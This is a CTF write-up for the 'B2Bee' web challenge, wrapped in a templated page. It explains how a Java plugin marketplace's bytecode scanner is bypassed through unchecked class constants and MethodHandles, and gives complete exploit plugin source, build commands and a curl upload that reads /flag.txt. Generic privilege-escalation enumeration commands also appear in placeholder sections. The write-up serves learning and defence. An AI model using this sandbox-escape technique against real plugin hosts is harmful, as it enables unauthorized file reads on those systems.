← Back to Writeups
HTBN/AWeb

B2Bee

XESXOR8/23/20265 min read
#web#htb#n/a

B2Bee

Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: class_literal_policy_bypass, method_handle_indirect_invocation, fixed_arity_method_handle

Summary

Task: A Java plugin marketplace scans uploaded JAR bytecode before sandboxed execution, while the goal is to read /flag.txt. Solution: unchecked class LDC constants and allowed MethodHandles dynamically invoke denied NIO file APIs.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260723_avitoctf_b2bee
  • Tags: sandbox_escape, java, asm, bytecode_scanner, method_handles
  • Indicators: ordinary class-valued LDC constants are not owner-checked, java/lang prefix permits java/lang/invoke, direct java/nio/file owners are denied
  • Source: 20260723_avitoctf_b2bee.md

Foothold

Vulnerability / Misconfiguration

  1. Class_literal_policy_bypass
  2. Method_handle_indirect_invocation
  3. Fixed_arity_method_handle
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • class_literal_policy_bypass
  • method_handle_indirect_invocation
  • fixed_arity_method_handle
  • Tags: sandbox_escape, java, asm, bytecode_scanner, method_handles

Original Writeup

<details><summary>Click to expand original content</summary>

B2Bee — avitoctf

Description

Крупнейший маркетплейс для пчёл открыл партнёрскую бету B2Bee. Продавцы загружают Java-плагины, рассчитывающие скидки и бонусы для корзины. Перед запуском каждый JAR статически проверяет ревью-пчела, а сам плагин исполняется в карантине. Обойдите проверку и получите /flag.txt.

The application accepts third-party Java discount plugins. The objective is to pass its ASM-based static review, execute inside the quarantine, read the target file, and return its contents through the plugin result.

Analysis

Application interface

Same-origin application reconnaissance identified:

  • GET /examples/plugin-example.zip, containing example source and plugin-api-stubs.jar;
  • GET /api/shop, providing the sample cart;
  • POST /api/plugins/run, which uploads, scans, and executes a plugin.

The stubs show that a plugin implements ru.avitoctf.marketplugins.api.DiscountPlugin:

PluginResult apply(PluginContext context) throws Exception;

PluginResult is a record containing (int discountPercent, int bonusPoints, String message). The frontend places message verbatim in the result view, making it a direct output channel.

The execution endpoint expects these multipart fields:

  • plugin: the JAR file;
  • entryClass: the binary class name;
  • cartId: a predefined cart identifier, such as starter.

Scanner coverage gap

PluginScanner uses ASM's tree API. It applies SandboxPolicy.checkOwner() to:

  • every MethodInsnNode owner;
  • every FieldInsnNode owner;
  • the descriptors of NEW, ANEWARRAY, and CHECKCAST TypeInsnNodes.

It also rejects invokedynamic, ConstantDynamic, Handle, and method-type Type values loaded by LDC. The important omission is in inspectConstant():

if (value instanceof Type type) {
    if (type.getSort() == Type.METHOD) {
        throw new SandboxException(...);
    }
}

An ordinary class-valued LDC, such as Path.class, is therefore accepted without passing its owner through the policy.

The second flaw is the broad allowlist prefix java/lang. It unintentionally includes the complete java/lang/invoke package. Direct references whose instruction owner begins with java/nio/file are denied, but calls to MethodHandles, MethodType, and MethodHandle are permitted.

Together, these mistakes allow the plugin to:

  1. Load Path.class, Paths.class, and Files.class as unchecked ordinary class constants.
  2. Build method signatures with permitted MethodType calls.
  3. Resolve denied NIO methods through a permitted MethodHandles.Lookup.
  4. Invoke the resulting handles through MethodHandle.invokeWithArguments().

Bytecode-level constraints

The source imports NIO classes, but imports have no standalone runtime representation. What matters is how javac emits each use.

The compiled exploit has only these relevant properties:

  • forbidden NIO classes occur as class-valued LDC constants;
  • method instruction owners are under java/lang, chiefly java/lang/invoke;
  • array allocations use allowed java/lang/Class, java/lang/Object, and java/lang/String owners;
  • the path returned by Paths.get remains typed as Object, avoiding CHECKCAST java/nio/file/Path;
  • only the final result receives CHECKCAST java/lang/String;
  • no invokedynamic, Handle, ConstantDynamic, or method-type LDC is present.

Compiling with -XDstringConcat=inline also prevents accidental string-concatenation invokedynamic instructions.

Solution

Exploit plugin

The complete plugin source is:

package exploit;

import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

import ru.avitoctf.marketplugins.api.DiscountPlugin;
import ru.avitoctf.marketplugins.api.PluginContext;
import ru.avitoctf.marketplugins.model.PluginResult;

public final class FlagPlugin implements DiscountPlugin {
    @Override
    public PluginResult apply(PluginContext context) throws Exception {
        try {
            MethodHandles.Lookup lookup = MethodHandles.lookup();

            MethodType pathsGetType = MethodType.methodType(
                    Path.class,
                    new Class<?>[]{String.class, String[].class}
            );
            MethodHandle pathsGet = lookup
                    .findStatic(Paths.class, "get", pathsGetType)
                    .asFixedArity();
            Object path = pathsGet.invokeWithArguments(
                    new Object[]{"/flag.txt", new String[0]}
            );

            MethodType readStringType = MethodType.methodType(
                    String.class,
                    new Class<?>[]{Path.class}
            );
            MethodHandle readString = lookup.findStatic(
                    Files.class, "readString", readStringType
            );
            Object contents = readString.invokeWithArguments(new Object[]{path});
            return new PluginResult(0, 0, (String) contents);
        } catch (Throwable failure) {
            return new PluginResult(0, 0, failure.toString());
        }
    }
}

Keeping the exception text in message provided useful runtime diagnostics while retaining scanner-safe bytecode.

Variable-arity failure and correction

The first uploaded JAR passed static review but failed during invocation with:

java.lang.ClassCastException: Cannot cast [Ljava.lang.String; to java.lang.String

Paths.get(String, String...) is a Java varargs method. A handle returned for it is a variable-arity handle, so invokeWithArguments tried to apply its own argument adaptation to the supplied String[]. Calling .asFixedArity() on the resolved handle made the array an ordinary second argument and fixed the invocation. This correction still uses only the permitted java/lang/invoke/MethodHandle owner.

Build

From the task directory, compile against the downloaded API stubs and package only the exploit class:

mkdir -p build/classes
javac --release 21 -XDstringConcat=inline \
  -cp plugin-example/plugin-api-stubs.jar \
  -d build/classes FlagPlugin.java
jar cf flag-plugin.jar -C build/classes .

javap -c -verbose build/classes/exploit/FlagPlugin.class can be used before upload to verify that forbidden NIO names appear only in class constants and that no forbidden dynamic instruction was emitted.

Trigger

Upload the JAR, explicitly select the implementation class, and use the predefined cart:

curl \
  -F 'plugin=@flag-plugin.jar;type=application/java-archive' \
  -F 'entryClass=exploit.FlagPlugin' \
  -F 'cartId=starter' \
  'https://marketplugins-qulcg67k.avitoctf.ru/api/plugins/run'

The server accepted the JAR, executed it in quarantine, and returned a successful plugin-result response. Its result.message contained the requested file contents.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR